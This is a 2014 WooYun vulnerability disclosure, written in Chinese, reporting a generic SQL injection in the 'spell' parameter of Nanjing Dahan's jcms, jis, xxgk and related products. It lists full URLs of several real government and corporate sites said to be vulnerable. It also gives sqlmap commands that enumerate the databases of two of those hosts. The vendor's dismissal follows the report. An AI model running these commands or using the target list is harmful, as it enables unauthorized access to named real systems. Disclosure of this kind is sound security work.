漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-074329
漏洞标题：大汉版通全系列产品通用SQL注入
相关厂商：南京大汉网络有限公司
漏洞作者： 路人甲
提交时间：2014-08-29 15:35
修复时间：2014-11-24 15:36
公开时间：2014-11-24 15:36
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：20
漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-08-29： 细节已通知厂商并且等待厂商处理中
2014-09-02： 厂商主动忽略漏洞，细节向第三方安全合作伙伴开放
2014-10-27： 细节向核心白帽子及相关领域专家公开
2014-11-06： 细节向普通白帽子公开
2014-11-16： 细节向实习白帽子公开
2014-11-24： 细节向公众公开
简要描述：
大汉版通全系列产品通用SQL注入，包括但不限于：jcms/jis/xxgk/lm/jbook/jphoto/jget/jearch等系统...
1.内容管理系统 2.身份认证系统 3.信息公开系统 4.订阅系统 5.图片系统 6.搜索系统
7.信息采集系统 8.数据源采集系统 9.视频系统 10.互动管理系统 ...
@南京大汉网络有限公司 请贵公司尊重白帽子，诸如"已提交"、"已重复"并不能掩盖你们产品XX的真相...
详细说明：
存在漏洞的文件
/jcms/workflow/objectbox/selectx_search.jsp?spell=1
1）信息公开系统（xxgk）
http://xxgk.qingzhou.gov.cn/xxgk/workflow/objectbox/selectx_search.jsp?spell=xxgk
2)）身份认证系统（jis）
http://www.wugang.gov.cn/jis/objectbox/selx_search.jsp?spell=jis
3）内容管理系统（jcms）
http://www.wugang.gov.cn/jcms/workflow/objectbox/selectx_search.jsp?spell=jcms
4）搜索系统（Jearch）
http://sha.sinotrans.com/jsearch/objectbox/selectx_search.jsp?spell=jsearch
5）图片系统（jphoto）
http://ts.jinan.gov.cn/jphoto/objectbox/selectx_search.jsp?spell=1
暂且例举几个，其他的系统不再多举例...
获取敏感数据：
sqlmap -u "http://ts.jinan.gov.cn/jphoto/objectbox/selectx_search.jsp?spell=1" --dbs
漏洞证明：
sqlmap -u "http://sha.sinotrans.com/jsearch/objectbox/selectx_search.jsp?spell=jsearch" --dbs
修复方案：
@南京大汉网络有限公司 请贵公司尊重白帽子，诸如"已提交"、"已重复"并不能掩盖你们产品XX的真相...
版权声明：转载请注明来源 路人甲@乌云
漏洞回应
厂商回应：
危害等级：无影响厂商忽略
忽略时间：2014-11-24 15:36
厂商回复：
对于漏洞是否重复或者虚假的认定我们都是经过严谨的分析后得出的，感谢大家对大汉产品的关注。
最新状态：
暂无